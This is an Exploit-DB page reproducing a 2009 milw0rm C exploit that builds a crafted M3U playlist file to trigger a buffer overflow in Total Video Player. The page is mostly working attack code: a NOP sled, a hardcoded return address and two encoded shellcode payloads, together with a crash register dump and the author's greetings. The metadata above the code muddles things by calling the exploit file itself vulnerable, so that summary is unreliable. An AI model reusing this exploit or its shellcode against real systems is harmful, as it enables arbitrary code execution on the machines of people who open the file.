simo36.tvp-bof.c

vendor:
Not provided
by:
SimO-s0fT
N/A
CVSS
HIGH
Buffer Overflow
121
CWE
Product Name: Not provided
Affected Version From: Not provided
Affected Version To: Not provided
Patch Exists: NO
Related CWE: Not provided
CPE: Not provided
Metasploit:
Other Scripts:
Platforms Tested: Windows (based on the Windows API headers included in the code)
Not provided
The simo36.tvp-bof.c file contains a buffer overflow vulnerability. The vulnerability allows an attacker to overwrite the EIP register with a malicious payload, leading to arbitrary code execution.
Mitigation:

To mitigate this vulnerability, input validation and proper buffer size checking should be implemented in the vulnerable code.
Source
Exploit-DB raw data:

/*simo36.tvp-bof.c
Authour : SimO-s0fT
Home : www.exploiter-ma.com
greetz to : Allah , mr.5rab , Sup3r crystal , Hack Back , Al Alame , all arab4services.net and friends
bahjawi danger khod nasi7a
 


EAX 0034F928 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ECX 00004141
EDX 00340608
EBX 41414141
ESP 0012BF44
EBP 0012C160
ESI 0034F920 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EDI 41414141
EIP 7C92B3FB ntdll.7C92B3FB



*/


#include<stdio.h>
#include <stdlib.h>
#include <string.h>
#include<windows.h>

#define OFFSET 549
char twacha[]="\x23\x45\x58\x54\x4d\x33\x55\x0d\x0a\x23\x45\x58\x54\x49\x4e\x46"
"\x3a\x33\x3a\x35\x30\x2c\x2d\x4d\x6f\x68\x61\x6d\x65\x64\x20\x47"
"\x68\x61\x6e\x6e\x61\x6d\x20\x2d\x20\x44\x41\x4f\x55\x44\x49\x20"
"\x34\x45\x56\x45\x52\x0d\x0a\x44\x3a\x5c";

char scode1[]=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x36\x42\x50\x5a";

char scode2[]=
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x50"
"\x8a\xfa\x90\x83\xeb\xfc\xe2\xf4\xac\xe0\x11\xdd\xb8\x73\x05\x6f"
"\xaf\xea\x71\xfc\x74\xae\x71\xd5\x6c\x01\x86\x95\x28\x8b\x15\x1b"
"\x1f\x92\x71\xcf\x70\x8b\x11\xd9\xdb\xbe\x71\x91\xbe\xbb\x3a\x09"
"\xfc\x0e\x3a\xe4\x57\x4b\x30\x9d\x51\x48\x11\x64\x6b\xde\xde\xb8"
"\x25\x6f\x71\xcf\x74\x8b\x11\xf6\xdb\x86\xb1\x1b\x0f\x96\xfb\x7b"
"\x53\xa6\x71\x19\x3c\xae\xe6\xf1\x93\xbb\x21\xf4\xdb\xc9\xca\x1b"
"\x10\x86\x71\xe0\x4c\x27\x71\xd0\x58\xd4\x92\x1e\x1e\x84\x16\xc0"
"\xaf\x5c\x9c\xc3\x36\xe2\xc9\xa2\x38\xfd\x89\xa2\x0f\xde\x05\x40"
"\x38\x41\x17\x6c\x6b\xda\x05\x46\x0f\x03\x1f\xf6\xd1\x67\xf2\x92"
"\x05\xe0\xf8\x6f\x80\xe2\x23\x99\xa5\x27\xad\x6f\x86\xd9\xa9\xc3"
"\x03\xd9\xb9\xc3\x13\xd9\x05\x40\x36\xe2\xeb\xcc\x36\xd9\x73\x71"
"\xc5\xe2\x5e\x8a\x20\x4d\xad\x6f\x86\xe0\xea\xc1\x05\x75\x2a\xf8"
"\xf4\x27\xd4\x79\x07\x75\x2c\xc3\x05\x75\x2a\xf8\xb5\xc3\x7c\xd9"
"\x07\x75\x2c\xc0\x04\xde\xaf\x6f\x80\x19\x92\x77\x29\x4c\x83\xc7"
"\xaf\x5c\xaf\x6f\x80\xec\x90\xf4\x36\xe2\x99\xfd\xd9\x6f\x90\xc0"
"\x09\xa3\x36\x19\xb7\xe0\xbe\x19\xb2\xbb\x3a\x63\xfa\x74\xb8\xbd"
"\xae\xc8\xd6\x03\xdd\xf0\xc2\x3b\xfb\x21\x92\xe2\xae\x39\xec\x6f"
"\x25\xce\x05\x46\x0b\xdd\xa8\xc1\x01\xdb\x90\x91\x01\xdb\xaf\xc1"
"\xaf\x5a\x92\x3d\x89\x8f\x34\xc3\xaf\x5c\x90\x6f\xaf\xbd\x05\x40"
"\xdb\xdd\x06\x13\x94\xee\x05\x46\x02\x75\x2a\xf8\x2e\x52\x18\xe3"
"\x03\x75\x2c\x6f\x80\x8a\xfa\x90";




int main(int argc,char *argv[]){
    FILE *openfile;
    unsigned char *buffer;
    unsigned int offset=0;
    unsigned int RET=0x7c85d568;
    int number=0;
                 printf("*********************************************************\n");
                 printf("Total Video Player local universal buffer overflow exploit\n");
                 printf("Cded by SimO-s0fT(simo_at_exploiter-ma.com)");
                 printf("greetz : to Allah \n");
                 printf("this exploit is for my best friends : Sup3r-crystal & mr.5rab & Hack back\n");
                 printf("***********************************************************\n");
    scanf("%d",&number);
    if((openfile=fopen(argv[1],"wb"))==NULL){
                                            perror("connot opening .....!!\n");
                                            exit(0);
                                            }
    switch(number){
                   case 1: buffer = (unsigned char *) malloc (OFFSET+strlen(scode1)+sizeof(RET));
                                            memset(buffer,0x90,OFFSET+strlen(scode1)+sizeof(RET));
                                            offset=OFFSET;
                                            memcpy(buffer+offset,&RET,sizeof(RET)-1);
                                            offset+=sizeof(RET);
                                            memcpy(buffer+offset,scode1,strlen(scode1));
                                            offset+=strlen(scode1);
                                            fputs(twacha,openfile);
                                            fputs(buffer,openfile);
                                            fclose(openfile);
                                            printf("File created ....!\n"
                                                         "open it with tvp\n");
                                            break;
                                            
                   case 2: buffer = (unsigned char*) malloc(OFFSET+strlen(scode2)+sizeof(RET));
                                            memset(buffer,0x90,OFFSET+strlen(scode2)+sizeof(RET));
                                            offset = OFFSET;
                                            memcpy(buffer+offset,&RET,sizeof(RET)-1);
                                            offset+=sizeof(RET);
                                            memcpy(buffer+offset,scode2,strlen(scode2));
                                            offset=strlen(scode2);
                                            fputs(twacha,openfile);
                                            fputs(buffer,openfile);
                                            fclose(openfile);
                                            printf("File created ....!\n"
                                                         "open it with tvp\n");
                                            break;
                   }
                   
    free(buffer);
    return 0;
} 

// milw0rm.com [2009-01-29]